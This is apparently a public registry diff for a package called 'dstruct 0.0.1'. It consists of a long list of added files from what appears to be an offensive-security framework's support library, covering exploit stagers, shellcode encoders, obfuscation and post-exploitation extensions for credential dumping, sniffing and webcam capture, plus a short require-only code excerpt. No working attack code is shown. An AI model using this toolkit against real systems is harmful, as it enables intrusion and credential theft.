dstruct 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +15 -0
- data/README.markdown +23 -0
- data/examples/smb_example.rb +35 -0
- data/lib/rex.rb +108 -0
- data/lib/rex/LICENSE +29 -0
- data/lib/rex/arch.rb +104 -0
- data/lib/rex/arch/sparc.rb +75 -0
- data/lib/rex/arch/x86.rb +524 -0
- data/lib/rex/assembly/nasm.rb +104 -0
- data/lib/rex/codepage.map +104 -0
- data/lib/rex/compat.rb +389 -0
- data/lib/rex/constants.rb +124 -0
- data/lib/rex/elfparsey.rb +9 -0
- data/lib/rex/elfparsey/elf.rb +121 -0
- data/lib/rex/elfparsey/elfbase.rb +256 -0
- data/lib/rex/elfparsey/exceptions.rb +25 -0
- data/lib/rex/elfscan.rb +10 -0
- data/lib/rex/elfscan/scanner.rb +226 -0
- data/lib/rex/elfscan/search.rb +44 -0
- data/lib/rex/encoder/alpha2.rb +31 -0
- data/lib/rex/encoder/alpha2/alpha_mixed.rb +68 -0
- data/lib/rex/encoder/alpha2/alpha_upper.rb +79 -0
- data/lib/rex/encoder/alpha2/generic.rb +90 -0
- data/lib/rex/encoder/alpha2/unicode_mixed.rb +116 -0
- data/lib/rex/encoder/alpha2/unicode_upper.rb +123 -0
- data/lib/rex/encoder/bloxor/bloxor.rb +327 -0
- data/lib/rex/encoder/ndr.rb +90 -0
- data/lib/rex/encoder/nonalpha.rb +61 -0
- data/lib/rex/encoder/nonupper.rb +64 -0
- data/lib/rex/encoder/xdr.rb +107 -0
- data/lib/rex/encoder/xor.rb +69 -0
- data/lib/rex/encoder/xor/dword.rb +13 -0
- data/lib/rex/encoder/xor/dword_additive.rb +13 -0
- data/lib/rex/encoders/xor_dword.rb +35 -0
- data/lib/rex/encoders/xor_dword_additive.rb +53 -0
- data/lib/rex/encoding/xor.rb +20 -0
- data/lib/rex/encoding/xor/byte.rb +15 -0
- data/lib/rex/encoding/xor/dword.rb +21 -0
- data/lib/rex/encoding/xor/dword_additive.rb +92 -0
- data/lib/rex/encoding/xor/exceptions.rb +17 -0
- data/lib/rex/encoding/xor/generic.rb +146 -0
- data/lib/rex/encoding/xor/qword.rb +15 -0
- data/lib/rex/encoding/xor/word.rb +21 -0
- data/lib/rex/exceptions.rb +275 -0
- data/lib/rex/exploitation/cmdstager.rb +10 -0
- data/lib/rex/exploitation/cmdstager/base.rb +190 -0
- data/lib/rex/exploitation/cmdstager/bourne.rb +105 -0
- data/lib/rex/exploitation/cmdstager/debug_asm.rb +140 -0
- data/lib/rex/exploitation/cmdstager/debug_write.rb +134 -0
- data/lib/rex/exploitation/cmdstager/echo.rb +164 -0
- data/lib/rex/exploitation/cmdstager/printf.rb +122 -0
- data/lib/rex/exploitation/cmdstager/tftp.rb +71 -0
- data/lib/rex/exploitation/cmdstager/vbs.rb +126 -0
- data/lib/rex/exploitation/egghunter.rb +425 -0
- data/lib/rex/exploitation/encryptjs.rb +78 -0
- data/lib/rex/exploitation/heaplib.js.b64 +331 -0
- data/lib/rex/exploitation/heaplib.rb +107 -0
- data/lib/rex/exploitation/js.rb +6 -0
- data/lib/rex/exploitation/js/detect.rb +69 -0
- data/lib/rex/exploitation/js/memory.rb +81 -0
- data/lib/rex/exploitation/js/network.rb +84 -0
- data/lib/rex/exploitation/js/utils.rb +33 -0
- data/lib/rex/exploitation/jsobfu.rb +513 -0
- data/lib/rex/exploitation/obfuscatejs.rb +336 -0
- data/lib/rex/exploitation/omelet.rb +321 -0
- data/lib/rex/exploitation/opcodedb.rb +819 -0
- data/lib/rex/exploitation/powershell.rb +62 -0
- data/lib/rex/exploitation/powershell/function.rb +63 -0
- data/lib/rex/exploitation/powershell/obfu.rb +98 -0
- data/lib/rex/exploitation/powershell/output.rb +151 -0
- data/lib/rex/exploitation/powershell/param.rb +23 -0
- data/lib/rex/exploitation/powershell/parser.rb +183 -0
- data/lib/rex/exploitation/powershell/psh_methods.rb +70 -0
- data/lib/rex/exploitation/powershell/script.rb +99 -0
- data/lib/rex/exploitation/ropdb.rb +190 -0
- data/lib/rex/exploitation/seh.rb +93 -0
- data/lib/rex/file.rb +160 -0
- data/lib/rex/image_source.rb +10 -0
- data/lib/rex/image_source/disk.rb +58 -0
- data/lib/rex/image_source/image_source.rb +44 -0
- data/lib/rex/image_source/memory.rb +35 -0
- data/lib/rex/io/bidirectional_pipe.rb +161 -0
- data/lib/rex/io/datagram_abstraction.rb +35 -0
- data/lib/rex/io/ring_buffer.rb +369 -0
- data/lib/rex/io/stream.rb +312 -0
- data/lib/rex/io/stream_abstraction.rb +209 -0
- data/lib/rex/io/stream_server.rb +221 -0
- data/lib/rex/job_container.rb +200 -0
- data/lib/rex/logging.rb +4 -0
- data/lib/rex/logging/log_dispatcher.rb +180 -0
- data/lib/rex/logging/log_sink.rb +43 -0
- data/lib/rex/logging/sinks/flatfile.rb +56 -0
- data/lib/rex/logging/sinks/stderr.rb +44 -0
- data/lib/rex/mac_oui.rb +16581 -0
- data/lib/rex/machparsey.rb +9 -0
- data/lib/rex/machparsey/exceptions.rb +34 -0
- data/lib/rex/machparsey/mach.rb +209 -0
- data/lib/rex/machparsey/machbase.rb +408 -0
- data/lib/rex/machscan.rb +9 -0
- data/lib/rex/machscan/scanner.rb +217 -0
- data/lib/rex/mime.rb +10 -0
- data/lib/rex/mime/encoding.rb +17 -0
- data/lib/rex/mime/header.rb +78 -0
- data/lib/rex/mime/message.rb +150 -0
- data/lib/rex/mime/part.rb +50 -0
- data/lib/rex/nop/opty2.rb +109 -0
- data/lib/rex/nop/opty2_tables.rb +301 -0
- data/lib/rex/ole.rb +202 -0
- data/lib/rex/ole/clsid.rb +44 -0
- data/lib/rex/ole/difat.rb +138 -0
- data/lib/rex/ole/directory.rb +228 -0
- data/lib/rex/ole/direntry.rb +237 -0
- data/lib/rex/ole/docs/dependencies.txt +8 -0
- data/lib/rex/ole/docs/references.txt +1 -0
- data/lib/rex/ole/fat.rb +96 -0
- data/lib/rex/ole/header.rb +201 -0
- data/lib/rex/ole/minifat.rb +74 -0
- data/lib/rex/ole/propset.rb +141 -0
- data/lib/rex/ole/samples/create_ole.rb +27 -0
- data/lib/rex/ole/samples/dir.rb +35 -0
- data/lib/rex/ole/samples/dump_stream.rb +34 -0
- data/lib/rex/ole/samples/ole_info.rb +23 -0
- data/lib/rex/ole/storage.rb +392 -0
- data/lib/rex/ole/stream.rb +50 -0
- data/lib/rex/ole/substorage.rb +46 -0
- data/lib/rex/ole/util.rb +154 -0
- data/lib/rex/parser/acunetix_nokogiri.rb +406 -0
- data/lib/rex/parser/apple_backup_manifestdb.rb +132 -0
- data/lib/rex/parser/appscan_nokogiri.rb +367 -0
- data/lib/rex/parser/arguments.rb +108 -0
- data/lib/rex/parser/burp_session_nokogiri.rb +291 -0
- data/lib/rex/parser/ci_nokogiri.rb +193 -0
- data/lib/rex/parser/foundstone_nokogiri.rb +342 -0
- data/lib/rex/parser/fusionvm_nokogiri.rb +109 -0
- data/lib/rex/parser/group_policy_preferences.rb +185 -0
- data/lib/rex/parser/ini.rb +186 -0
- data/lib/rex/parser/ip360_aspl_xml.rb +103 -0
- data/lib/rex/parser/ip360_xml.rb +98 -0
- data/lib/rex/parser/mbsa_nokogiri.rb +256 -0
- data/lib/rex/parser/nessus_xml.rb +121 -0
- data/lib/rex/parser/netsparker_xml.rb +109 -0
- data/lib/rex/parser/nexpose_raw_nokogiri.rb +686 -0
- data/lib/rex/parser/nexpose_simple_nokogiri.rb +330 -0
- data/lib/rex/parser/nexpose_xml.rb +172 -0
- data/lib/rex/parser/nmap_nokogiri.rb +394 -0
- data/lib/rex/parser/nmap_xml.rb +166 -0
- data/lib/rex/parser/nokogiri_doc_mixin.rb +233 -0
- data/lib/rex/parser/openvas_nokogiri.rb +172 -0
- data/lib/rex/parser/outpost24_nokogiri.rb +240 -0
- data/lib/rex/parser/retina_xml.rb +110 -0
- data/lib/rex/parser/unattend.rb +171 -0
- data/lib/rex/parser/wapiti_nokogiri.rb +105 -0
- data/lib/rex/payloads.rb +2 -0
- data/lib/rex/payloads/win32.rb +3 -0
- data/lib/rex/payloads/win32/common.rb +27 -0
- data/lib/rex/payloads/win32/kernel.rb +54 -0
- data/lib/rex/payloads/win32/kernel/common.rb +55 -0
- data/lib/rex/payloads/win32/kernel/migration.rb +13 -0
- data/lib/rex/payloads/win32/kernel/recovery.rb +51 -0
- data/lib/rex/payloads/win32/kernel/stager.rb +195 -0
- data/lib/rex/peparsey.rb +10 -0
- data/lib/rex/peparsey/exceptions.rb +30 -0
- data/lib/rex/peparsey/pe.rb +210 -0
- data/lib/rex/peparsey/pe_memdump.rb +61 -0
- data/lib/rex/peparsey/pebase.rb +1662 -0
- data/lib/rex/peparsey/section.rb +128 -0
- data/lib/rex/pescan.rb +11 -0
- data/lib/rex/pescan/analyze.rb +366 -0
- data/lib/rex/pescan/scanner.rb +230 -0
- data/lib/rex/pescan/search.rb +68 -0
- data/lib/rex/platforms.rb +2 -0
- data/lib/rex/platforms/windows.rb +52 -0
- data/lib/rex/poly.rb +134 -0
- data/lib/rex/poly/block.rb +480 -0
- data/lib/rex/poly/machine.rb +13 -0
- data/lib/rex/poly/machine/machine.rb +830 -0
- data/lib/rex/poly/machine/x86.rb +509 -0
- data/lib/rex/poly/register.rb +101 -0
- data/lib/rex/poly/register/x86.rb +41 -0
- data/lib/rex/post.rb +7 -0
- data/lib/rex/post/dir.rb +51 -0
- data/lib/rex/post/file.rb +172 -0
- data/lib/rex/post/file_stat.rb +220 -0
- data/lib/rex/post/gen.pl +13 -0
- data/lib/rex/post/io.rb +182 -0
- data/lib/rex/post/meterpreter.rb +5 -0
- data/lib/rex/post/meterpreter/channel.rb +446 -0
- data/lib/rex/post/meterpreter/channel_container.rb +54 -0
- data/lib/rex/post/meterpreter/channels/pool.rb +160 -0
- data/lib/rex/post/meterpreter/channels/pools/file.rb +62 -0
- data/lib/rex/post/meterpreter/channels/pools/stream_pool.rb +103 -0
- data/lib/rex/post/meterpreter/channels/stream.rb +87 -0
- data/lib/rex/post/meterpreter/client.rb +483 -0
- data/lib/rex/post/meterpreter/client_core.rb +352 -0
- data/lib/rex/post/meterpreter/dependencies.rb +3 -0
- data/lib/rex/post/meterpreter/extension.rb +32 -0
- data/lib/rex/post/meterpreter/extensions/android/android.rb +128 -0
- data/lib/rex/post/meterpreter/extensions/android/tlv.rb +40 -0
- data/lib/rex/post/meterpreter/extensions/espia/espia.rb +58 -0
- data/lib/rex/post/meterpreter/extensions/espia/tlv.rb +17 -0
- data/lib/rex/post/meterpreter/extensions/extapi/adsi/adsi.rb +71 -0
- data/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb +169 -0
- data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +45 -0
- data/lib/rex/post/meterpreter/extensions/extapi/service/service.rb +104 -0
- data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +77 -0
- data/lib/rex/post/meterpreter/extensions/extapi/window/window.rb +56 -0
- data/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb +75 -0
- data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb +94 -0
- data/lib/rex/post/meterpreter/extensions/incognito/tlv.rb +22 -0
- data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +361 -0
- data/lib/rex/post/meterpreter/extensions/kiwi/tlv.rb +76 -0
- data/lib/rex/post/meterpreter/extensions/lanattacks/dhcp/dhcp.rb +78 -0
- data/lib/rex/post/meterpreter/extensions/lanattacks/lanattacks.rb +43 -0
- data/lib/rex/post/meterpreter/extensions/lanattacks/tftp/tftp.rb +49 -0
- data/lib/rex/post/meterpreter/extensions/lanattacks/tlv.rb +17 -0
- data/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb +128 -0
- data/lib/rex/post/meterpreter/extensions/mimikatz/tlv.rb +16 -0
- data/lib/rex/post/meterpreter/extensions/networkpug/networkpug.rb +57 -0
- data/lib/rex/post/meterpreter/extensions/networkpug/tlv.rb +16 -0
- data/lib/rex/post/meterpreter/extensions/priv/fs.rb +118 -0
- data/lib/rex/post/meterpreter/extensions/priv/passwd.rb +61 -0
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +109 -0
- data/lib/rex/post/meterpreter/extensions/priv/tlv.rb +29 -0
- data/lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb +117 -0
- data/lib/rex/post/meterpreter/extensions/sniffer/tlv.rb +27 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/constants.rb +396 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +284 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +399 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file_stat.rb +104 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb +48 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/arp.rb +59 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +256 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/interface.rb +129 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/netstat.rb +97 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/resolve.rb +106 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/route.rb +67 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +139 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +180 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +168 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +209 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb +38146 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb +48 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_advapi32.rb +2102 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_crypt32.rb +32 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_iphlpapi.rb +97 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3852 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb +100 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ntdll.rb +168 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_psapi.rb +32 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_shell32.rb +32 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_user32.rb +3170 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_version.rb +41 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wlanapi.rb +87 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb +128 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ws2_32.rb +613 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +388 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb +111 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb +149 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper.rb +27 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/mock_magic.rb +515 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +319 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/platform_util.rb +23 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +301 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb +56 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb +106 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb +676 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb +96 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +151 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +128 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +192 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log_subsystem/event_record.rb +41 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb +60 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +408 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/image.rb +129 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/io.rb +55 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb +336 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/thread.rb +141 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +328 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +193 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_value.rb +102 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/remote_registry_key.rb +188 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +180 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +236 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +259 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +201 -0
- data/lib/rex/post/meterpreter/inbound_packet_handler.rb +30 -0
- data/lib/rex/post/meterpreter/object_aliases.rb +83 -0
- data/lib/rex/post/meterpreter/packet.rb +709 -0
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +543 -0
- data/lib/rex/post/meterpreter/packet_parser.rb +94 -0
- data/lib/rex/post/meterpreter/packet_response_waiter.rb +83 -0
- data/lib/rex/post/meterpreter/ui/console.rb +142 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +86 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +383 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +939 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb +109 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb +65 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +198 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +444 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb +199 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/window.rb +118 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb +108 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +242 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +509 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks.rb +60 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +254 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/tftp.rb +159 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +182 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/networkpug.rb +232 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb +62 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +97 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb +52 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +133 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb +204 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb +66 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +527 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +448 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +906 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +318 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +343 -0
- data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +99 -0
- data/lib/rex/post/permission.rb +26 -0
- data/lib/rex/post/process.rb +57 -0
- data/lib/rex/post/thread.rb +57 -0
- data/lib/rex/post/ui.rb +52 -0
- data/lib/rex/proto.rb +15 -0
- data/lib/rex/proto/addp.rb +218 -0
- data/lib/rex/proto/dcerpc.rb +7 -0
- data/lib/rex/proto/dcerpc/client.rb +362 -0
- data/lib/rex/proto/dcerpc/exceptions.rb +151 -0
- data/lib/rex/proto/dcerpc/handle.rb +48 -0
- data/lib/rex/proto/dcerpc/ndr.rb +73 -0
- data/lib/rex/proto/dcerpc/packet.rb +264 -0
- data/lib/rex/proto/dcerpc/response.rb +188 -0
- data/lib/rex/proto/dcerpc/uuid.rb +85 -0
- data/lib/rex/proto/dcerpc/wdscp.rb +3 -0
- data/lib/rex/proto/dcerpc/wdscp/constants.rb +89 -0
- data/lib/rex/proto/dcerpc/wdscp/packet.rb +94 -0
- data/lib/rex/proto/dhcp.rb +7 -0
- data/lib/rex/proto/dhcp/constants.rb +34 -0
- data/lib/rex/proto/dhcp/server.rb +334 -0
- data/lib/rex/proto/drda.rb +6 -0
- data/lib/rex/proto/drda/constants.rb +50 -0
- data/lib/rex/proto/drda/packet.rb +253 -0
- data/lib/rex/proto/drda/utils.rb +124 -0
- data/lib/rex/proto/http.rb +7 -0
- data/lib/rex/proto/http/client.rb +722 -0
- data/lib/rex/proto/http/client_request.rb +472 -0
- data/lib/rex/proto/http/handler.rb +47 -0
- data/lib/rex/proto/http/handler/erb.rb +129 -0
- data/lib/rex/proto/http/handler/proc.rb +61 -0
- data/lib/rex/proto/http/header.rb +173 -0
- data/lib/rex/proto/http/packet.rb +414 -0
- data/lib/rex/proto/http/request.rb +354 -0
- data/lib/rex/proto/http/response.rb +151 -0
- data/lib/rex/proto/http/server.rb +385 -0
- data/lib/rex/proto/iax2.rb +2 -0
- data/lib/rex/proto/iax2/call.rb +326 -0
- data/lib/rex/proto/iax2/client.rb +218 -0
- data/lib/rex/proto/iax2/codecs.rb +5 -0
- data/lib/rex/proto/iax2/codecs/alaw.rb +16 -0
- data/lib/rex/proto/iax2/codecs/g711.rb +2176 -0
- data/lib/rex/proto/iax2/codecs/mulaw.rb +17 -0
- data/lib/rex/proto/iax2/constants.rb +262 -0
- data/lib/rex/proto/ipmi.rb +57 -0
- data/lib/rex/proto/ipmi/channel_auth_reply.rb +89 -0
- data/lib/rex/proto/ipmi/open_session_reply.rb +36 -0
- data/lib/rex/proto/ipmi/rakp2.rb +36 -0
- data/lib/rex/proto/ipmi/utils.rb +125 -0
- data/lib/rex/proto/natpmp.rb +7 -0
- data/lib/rex/proto/natpmp/constants.rb +19 -0
- data/lib/rex/proto/natpmp/packet.rb +45 -0
- data/lib/rex/proto/ntlm.rb +8 -0
- data/lib/rex/proto/ntlm/base.rb +327 -0
- data/lib/rex/proto/ntlm/constants.rb +75 -0
- data/lib/rex/proto/ntlm/crypt.rb +412 -0
- data/lib/rex/proto/ntlm/exceptions.rb +17 -0
- data/lib/rex/proto/ntlm/message.rb +534 -0
- data/lib/rex/proto/ntlm/utils.rb +765 -0
- data/lib/rex/proto/ntp.rb +3 -0
- data/lib/rex/proto/ntp/constants.rb +12 -0
- data/lib/rex/proto/ntp/modes.rb +130 -0
- data/lib/rex/proto/pjl.rb +31 -0
- data/lib/rex/proto/pjl/client.rb +163 -0
- data/lib/rex/proto/proxy/socks4a.rb +441 -0
- data/lib/rex/proto/rfb.rb +13 -0
- data/lib/rex/proto/rfb/cipher.rb +82 -0
- data/lib/rex/proto/rfb/client.rb +205 -0
- data/lib/rex/proto/rfb/constants.rb +50 -0
- data/lib/rex/proto/sip.rb +4 -0
- data/lib/rex/proto/sip/response.rb +61 -0
- data/lib/rex/proto/smb.rb +8 -0
- data/lib/rex/proto/smb/client.rb +2064 -0
- data/lib/rex/proto/smb/constants.rb +1064 -0
- data/lib/rex/proto/smb/crypt.rb +37 -0
- data/lib/rex/proto/smb/evasions.rb +67 -0
- data/lib/rex/proto/smb/exceptions.rb +867 -0
- data/lib/rex/proto/smb/simpleclient.rb +173 -0
- data/lib/rex/proto/smb/simpleclient/open_file.rb +106 -0
- data/lib/rex/proto/smb/simpleclient/open_pipe.rb +57 -0
- data/lib/rex/proto/smb/utils.rb +104 -0
- data/lib/rex/proto/sunrpc.rb +2 -0
- data/lib/rex/proto/sunrpc/client.rb +196 -0
- data/lib/rex/proto/tftp.rb +13 -0
- data/lib/rex/proto/tftp/client.rb +344 -0
- data/lib/rex/proto/tftp/constants.rb +39 -0
- data/lib/rex/proto/tftp/server.rb +497 -0
- data/lib/rex/random_identifier_generator.rb +177 -0
- data/lib/rex/registry.rb +14 -0
- data/lib/rex/registry/hive.rb +132 -0
- data/lib/rex/registry/lfkey.rb +51 -0
- data/lib/rex/registry/nodekey.rb +54 -0
- data/lib/rex/registry/regf.rb +25 -0
- data/lib/rex/registry/valuekey.rb +67 -0
- data/lib/rex/registry/valuelist.rb +29 -0
- data/lib/rex/ropbuilder.rb +8 -0
- data/lib/rex/ropbuilder/rop.rb +271 -0
- data/lib/rex/script.rb +42 -0
- data/lib/rex/script/base.rb +61 -0
- data/lib/rex/script/meterpreter.rb +16 -0
- data/lib/rex/script/shell.rb +10 -0
- data/lib/rex/service.rb +49 -0
- data/lib/rex/service_manager.rb +154 -0
- data/lib/rex/services/local_relay.rb +424 -0
- data/lib/rex/socket.rb +788 -0
- data/lib/rex/socket/comm.rb +120 -0
- data/lib/rex/socket/comm/local.rb +526 -0
- data/lib/rex/socket/ip.rb +132 -0
- data/lib/rex/socket/parameters.rb +363 -0
- data/lib/rex/socket/range_walker.rb +470 -0
- data/lib/rex/socket/ssl_tcp.rb +345 -0
- data/lib/rex/socket/ssl_tcp_server.rb +188 -0
- data/lib/rex/socket/subnet_walker.rb +76 -0
- data/lib/rex/socket/switch_board.rb +289 -0
- data/lib/rex/socket/tcp.rb +79 -0
- data/lib/rex/socket/tcp_server.rb +67 -0
- data/lib/rex/socket/udp.rb +165 -0
- data/lib/rex/sslscan/result.rb +201 -0
- data/lib/rex/sslscan/scanner.rb +206 -0
- data/lib/rex/struct2.rb +5 -0
- data/lib/rex/struct2/c_struct.rb +181 -0
- data/lib/rex/struct2/c_struct_template.rb +39 -0
- data/lib/rex/struct2/constant.rb +26 -0
- data/lib/rex/struct2/element.rb +44 -0
- data/lib/rex/struct2/generic.rb +73 -0
- data/lib/rex/struct2/restraint.rb +54 -0
- data/lib/rex/struct2/s_string.rb +72 -0
- data/lib/rex/struct2/s_struct.rb +111 -0
- data/lib/rex/sync.rb +6 -0
- data/lib/rex/sync/event.rb +85 -0
- data/lib/rex/sync/read_write_lock.rb +177 -0
- data/lib/rex/sync/ref.rb +58 -0
- data/lib/rex/sync/thread_safe.rb +83 -0
- data/lib/rex/text.rb +1813 -0
- data/lib/rex/thread_factory.rb +43 -0
- data/lib/rex/time.rb +66 -0
- data/lib/rex/transformer.rb +116 -0
- data/lib/rex/ui.rb +22 -0
- data/lib/rex/ui/interactive.rb +304 -0
- data/lib/rex/ui/output.rb +85 -0
- data/lib/rex/ui/output/none.rb +19 -0
- data/lib/rex/ui/progress_tracker.rb +97 -0
- data/lib/rex/ui/subscriber.rb +160 -0
- data/lib/rex/ui/text/color.rb +98 -0
- data/lib/rex/ui/text/dispatcher_shell.rb +538 -0
- data/lib/rex/ui/text/input.rb +119 -0
- data/lib/rex/ui/text/input/buffer.rb +79 -0
- data/lib/rex/ui/text/input/readline.rb +129 -0
- data/lib/rex/ui/text/input/socket.rb +96 -0
- data/lib/rex/ui/text/input/stdio.rb +46 -0
- data/lib/rex/ui/text/irb_shell.rb +62 -0
- data/lib/rex/ui/text/output.rb +86 -0
- data/lib/rex/ui/text/output/buffer.rb +62 -0
- data/lib/rex/ui/text/output/buffer/stdout.rb +26 -0
- data/lib/rex/ui/text/output/file.rb +44 -0
- data/lib/rex/ui/text/output/socket.rb +44 -0
- data/lib/rex/ui/text/output/stdio.rb +53 -0
- data/lib/rex/ui/text/output/tee.rb +56 -0
- data/lib/rex/ui/text/progress_tracker.rb +57 -0
- data/lib/rex/ui/text/shell.rb +403 -0
- data/lib/rex/ui/text/table.rb +346 -0
- data/lib/rex/zip.rb +96 -0
- data/lib/rex/zip/archive.rb +130 -0
- data/lib/rex/zip/blocks.rb +184 -0
- data/lib/rex/zip/entry.rb +122 -0
- data/lib/rex/zip/jar.rb +283 -0
- data/lib/rex/zip/samples/comment.rb +32 -0
- data/lib/rex/zip/samples/mkwar.rb +138 -0
- data/lib/rex/zip/samples/mkzip.rb +19 -0
- data/lib/rex/zip/samples/recursive.rb +58 -0
- metadata +536 -0
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
# -*- coding: binary -*-
|
|
2
|
+
|
|
3
|
+
require 'rex/exploitation/cmdstager/base'
|
|
4
|
+
require 'rex/exploitation/cmdstager/vbs'
|
|
5
|
+
require 'rex/exploitation/cmdstager/debug_write'
|
|
6
|
+
